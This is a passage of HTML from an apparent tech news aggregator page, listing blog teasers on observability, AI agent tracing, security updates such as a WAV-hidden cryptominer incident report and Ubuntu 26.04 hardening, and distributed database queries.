        <a href="#h3-opentelemetryio-2025-review" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 OpenTelemetry.io 2025 review
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-opentelemetryio-2025-review"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>As 2025 has come to an end, we’re taking a moment to look back at everything the community accomplished across the website, documentation, and localization efforts. The year was another exciting chapt</p>
<p><strong>📅 Apr 10, 2026</strong> • <strong>📰 OpenTelemetry Blog</strong></p>
<p><a href="https://opentelemetry.io/blog/2026/2025-year-in-review/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-obi-gives-incident-response-the-request-context-it-needs" class="group relative scroll-mt-24">
        <a href="#h3-obi-gives-incident-response-the-request-context-it-needs" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 OBI Gives Incident Response the Request Context It Needs
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-obi-gives-incident-response-the-request-context-it-needs"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>When incidents are active, traces usually tell you that something is wrong. The harder problem is figuring out who is affected and why, quickly. OpenTelemetry eBPF Instrumentation (OBI) v0.7.0 adds HT</p>
<p><strong>📅 Apr 10, 2026</strong> • <strong>📰 OpenTelemetry Blog</strong></p>
<p><a href="https://opentelemetry.io/blog/2026/obi-http-header-enrichment/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-sample-ai-traces-at-100-without-sampling-everything" class="group relative scroll-mt-24">
        <a href="#h3-sample-ai-traces-at-100-without-sampling-everything" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Sample AI traces at 100% without sampling everything
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-sample-ai-traces-at-100-without-sampling-everything"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>A little while ago, when agents were telling me “You’re absolutely right!”, I was building webvitals.com. You put in a URL, it kicks off an API request to a Nex...</p>
<p><strong>📅 Apr 9, 2026</strong> • <strong>📰 Sentry Blog</strong></p>
<p><a href="https://blog.sentry.io/sample-ai-traces-at-100-percent-without-sampling-everything/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-tired-of-reviewing-traces-meet-automatic-issue-detection-for-your-agent" class="group relative scroll-mt-24">
        <a href="#h3-tired-of-reviewing-traces-meet-automatic-issue-detection-for-your-agent" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Tired of Reviewing Traces? Meet Automatic Issue Detection for Your Agent
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-tired-of-reviewing-traces-meet-automatic-issue-detection-for-your-agent"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Observability has become a norm for AI agents in production. But recording logs, metrics, and traces alone doesn&#39;t make the user experience better. You need to act on the data.</p>
<p><strong>📅 Apr 9, 2026</strong> • <strong>📰 MLflow Blog</strong></p>
<p><a href="https://mlflow.org/blog/issue-detection"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-business-metrics-in-grafana-cloud-get-an-ai-assist-to-help-securely-analyze-your-data" class="group relative scroll-mt-24">
        <a href="#h3-business-metrics-in-grafana-cloud-get-an-ai-assist-to-help-securely-analyze-your-data" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Business metrics in Grafana Cloud: Get an AI assist to help securely analyze your data
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-business-metrics-in-grafana-cloud-get-an-ai-assist-to-help-securely-analyze-your-data"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>For today&#39;s modern businesses, the data landscape demands security and flexibility. You need to connect your observability platform to rich, proprietary datasets that often reside in private networks </p>
<p><strong>📅 Apr 8, 2026</strong> • <strong>📰 Grafana Blog</strong></p>
<p><a href="https://grafana.com/blog/business-metrics-in-grafana-cloud-get-an-ai-assist-to-help-securely-analyze-your-data/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-inside-adobes-opentelemetry-pipeline-simplicity-at-scale" class="group relative scroll-mt-24">
        <a href="#h3-inside-adobes-opentelemetry-pipeline-simplicity-at-scale" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Inside Adobe's OpenTelemetry pipeline: simplicity at scale
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-inside-adobes-opentelemetry-pipeline-simplicity-at-scale"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>As part of an ongoing series, the Developer Experience SIG interviews organizations about their real-world OpenTelemetry Collector deployments to share practical lessons with the broader community. Th</p>
<p><strong>📅 Apr 8, 2026</strong> • <strong>📰 OpenTelemetry Blog</strong></p>
<p><a href="https://opentelemetry.io/blog/2026/devex-adobe/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-staying-secure-an-inside-look-at-zabbix-security-advisories" class="group relative scroll-mt-24">
        <a href="#h3-staying-secure-an-inside-look-at-zabbix-security-advisories" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Staying Secure: An Inside Look at Zabbix Security Advisories
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-staying-secure-an-inside-look-at-zabbix-security-advisories"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Security has always been a core priority for us at Zabbix. As part of our ongoing commitment to delivering a reliable and secure monitoring platform, we regularly publish security advisories that refl</p>
<p><strong>📅 Apr 8, 2026</strong> • <strong>📰 Zabbix Blog</strong></p>
<p><a href="https://blog.zabbix.com/staying-secure-an-inside-look-at-zabbix-security-advisories/32831/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-query-fair-usage-in-grafana-cloud-what-it-is-and-how-it-affects-your-logs-observability-practice" class="group relative scroll-mt-24">
        <a href="#h3-query-fair-usage-in-grafana-cloud-what-it-is-and-how-it-affects-your-logs-observability-practice" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Query fair usage in Grafana Cloud: What it is and how it affects your logs observability practice
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-query-fair-usage-in-grafana-cloud-what-it-is-and-how-it-affects-your-logs-observability-practice"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In Grafana Cloud we use a simple yet generous formula that lets you query up to 100x your monthly ingested log volume in gigabytes for free. This works for the vast majority of our customers, but if y</p>
<p><strong>📅 Apr 7, 2026</strong> • <strong>📰 Grafana Blog</strong></p>
<p><a href="https://grafana.com/blog/query-fair-usage-in-grafana-cloud-what-is-it-and-how-it-affects-your-logs-observability-practice/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-ai-agent-observability-the-developers-guide-to-agent-monitoring" class="group relative scroll-mt-24">
        <a href="#h3-ai-agent-observability-the-developers-guide-to-agent-monitoring" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AI agent observability: The developer's guide to agent monitoring
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-ai-agent-observability-the-developers-guide-to-agent-monitoring"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Most &quot;agent observability best practices&quot; content reads like a compliance checklist from 2019 with &quot;AI&quot; pasted over &quot;microservices.&quot; Implement comprehensive log...</p>
<p><strong>📅 Apr 7, 2026</strong> • <strong>📰 Sentry Blog</strong></p>
<p><a href="https://blog.sentry.io/ai-agent-observability-developers-guide-to-agent-monitoring/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-observability-in-go-where-to-start-and-what-matters-most" class="group relative scroll-mt-24">
        <a href="#h3-observability-in-go-where-to-start-and-what-matters-most" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Observability in Go: Where to start and what matters most
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-observability-in-go-where-to-start-and-what-matters-most"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Sometimes the hardest part of debugging a system isn’t fixing the problem—it’s figuring out what’s actually happening in the first place. In this episode of “Grafana’s Big Tent” podcast, host Mat Ryer</p>
<p><strong>📅 Apr 6, 2026</strong> • <strong>📰 Grafana Blog</strong></p>
<p><a href="https://grafana.com/blog/observability-in-go-where-to-start-and-what-matters-most/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-cloud-monitoring-best-practices-for-reliable-unified-observability" class="group relative scroll-mt-24">
        <a href="#h3-cloud-monitoring-best-practices-for-reliable-unified-observability" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Cloud Monitoring Best Practices For Reliable, Unified Observability
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-cloud-monitoring-best-practices-for-reliable-unified-observability"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn cloud monitoring best practices to reduce blind spots, improve reliability, and resolve issues faster in complex environments with New Relic.</p>
<p><strong>📅 Apr 6, 2026</strong> • <strong>📰 New Relic Blog</strong></p>
<p><a href="https://newrelic.com/blog/infrastructure-monitoring/cloud-monitoring-best-practices"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-security" class="group relative scroll-mt-24">
        <a href="#h2-security" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🔐 Security
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-security"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-threats-making-wavs-incident-response-to-a-cryptomining-attack" class="group relative scroll-mt-24">
        <a href="#h3-threats-making-wavs-incident-response-to-a-cryptomining-attack" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Threats Making WAVs - Incident Response to a Cryptomining Attack
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-threats-making-wavs-incident-response-to-a-cryptomining-attack"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Guardicore security researchers describe and uncover a full analysis of a cryptomining attack, which hid a cryptominer inside WAV files. The report includes the full attack vectors, from detection, in</p>
<p><strong>📅 Apr 13, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/security/threats-making-wavs-incident-reponse-cryptomining-attack"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-amazon-cloudwatch-pipelines-introduces-new-compliance-and-governance-capabilities" class="group relative scroll-mt-24">
        <a href="#h3-amazon-cloudwatch-pipelines-introduces-new-compliance-and-governance-capabilities" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Amazon CloudWatch pipelines introduces new compliance and governance capabilities
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-amazon-cloudwatch-pipelines-introduces-new-compliance-and-governance-capabilities"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Amazon CloudWatch pipelines now includes new compliance and governance capabilities to help you maintain data integrity and control access when processing logs. CloudWatch pipelines is a fully managed</p>
<p><strong>📅 Apr 10, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/04/cloudwatch-pipelines-compliance-governance/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-whats-new-in-security-for-ubuntu-2604-lts" class="group relative scroll-mt-24">
        <a href="#h3-whats-new-in-security-for-ubuntu-2604-lts" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 What’s new in security for Ubuntu 26.04 LTS?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-whats-new-in-security-for-ubuntu-2604-lts"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Here’s a concise excerpt you can use: &gt; Ubuntu 26.04 LTS significantly raises the security baseline by strengthening defaults across every layer of the system without requiring manual intervention. Ke</p>
<p><strong>📅 Apr 10, 2026</strong> • <strong>📰 Ubuntu Blog</strong></p>
<p><a href="https://ubuntu.com//blog/ubuntu-26-04-lts-security-updates"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-harness-waap-mcp-server-ai-native-access-to-security-data" class="group relative scroll-mt-24">
        <a href="#h3-harness-waap-mcp-server-ai-native-access-to-security-data" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Harness WAAP MCP Server: AI-Native Access to Security Data
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-harness-waap-mcp-server-ai-native-access-to-security-data"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Harness WAAP MCP Server bridges security data and AI workflows using the Model Context Protocol (MCP). Get real-time insights via natural language prompts to power custom AI workflows and executive re</p>
<p><strong>📅 Apr 10, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/unlocking-security-potential-for-ai-introducing-the-harness-waap-mcp-server"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-governing-security-in-the-age-of-infinite-signal-from-discovery-to-control" class="group relative scroll-mt-24">
        <a href="#h3-governing-security-in-the-age-of-infinite-signal-from-discovery-to-control" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Governing Security in the Age of Infinite Signal – From Discovery to Control
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-governing-security-in-the-age-of-infinite-signal-from-discovery-to-control"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AI can find vulnerabilities at scale, but enterprise security now depends on control, validation, and governance that can keep up.</p>
<p><strong>📅 Apr 10, 2026</strong> • <strong>📰 Snyk Blog</strong></p>
<p><a href="https://snyk.io/blog/from-discovery-to-control/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-cloudflare-targets-2029-for-full-post-quantum-security" class="group relative scroll-mt-24">
        <a href="#h3-cloudflare-targets-2029-for-full-post-quantum-security" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Cloudflare targets 2029 for full post-quantum security
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-cloudflare-targets-2029-for-full-post-quantum-security"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Recent advances in quantum hardware and software have accelerated the timeline on which quantum attack might happen. Cloudflare is responding by moving our target for full post-quantum security to 202</p>
<p><strong>📅 Apr 7, 2026</strong> • <strong>📰 Cloudflare Blog</strong></p>
<p><a href="https://blog.cloudflare.com/post-quantum-roadmap/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-managed-identity-in-azure-red-hat-openshift-deploy-in-just-a-few-clicks-with-the-azure-portal" class="group relative scroll-mt-24">
        <a href="#h3-managed-identity-in-azure-red-hat-openshift-deploy-in-just-a-few-clicks-with-the-azure-portal" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Managed identity in Azure Red Hat OpenShift: Deploy in just a few clicks with the Azure portal
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-managed-identity-in-azure-red-hat-openshift-deploy-in-just-a-few-clicks-with-the-azure-portal"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>We recently announced the general availability (GA) of managed identity and workload identity for Microsoft Azure Red Hat OpenShift clusters. With this, users benefit from short-lived, limited permiss</p>
<p><strong>📅 Apr 7, 2026</strong> • <strong>📰 OpenShift Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/managed-identity-azure-red-hat-openshift-portal"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-databases" class="group relative scroll-mt-24">
        <a href="#h2-databases" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          💾 Databases
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-databases"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-how-to-parallel-index-scan-in-ysql-for-temporal-joins" class="group relative scroll-mt-24">
        <a href="#h3-how-to-parallel-index-scan-in-ysql-for-temporal-joins" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How to Parallel Index Scan in YSQL For Temporal Joins
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-to-parallel-index-scan-in-ysql-for-temporal-joins"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>A common temporal join pattern in analytics used to require extra tweaks in distributed Postgres-compatible systems, but is no longer required due to full support for native PostgreSQL Parallel Query </p>
<p><strong>📅 Apr 13, 2026</strong> • <strong>📰 Yugabyte Blog</strong></p>
<p><a href="https://www.yugabyte.com/blog/parallel-index-scan-in-ysql/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-accelerating-data-curation-with-google-data-cloud" class="group relative scroll-mt-24">
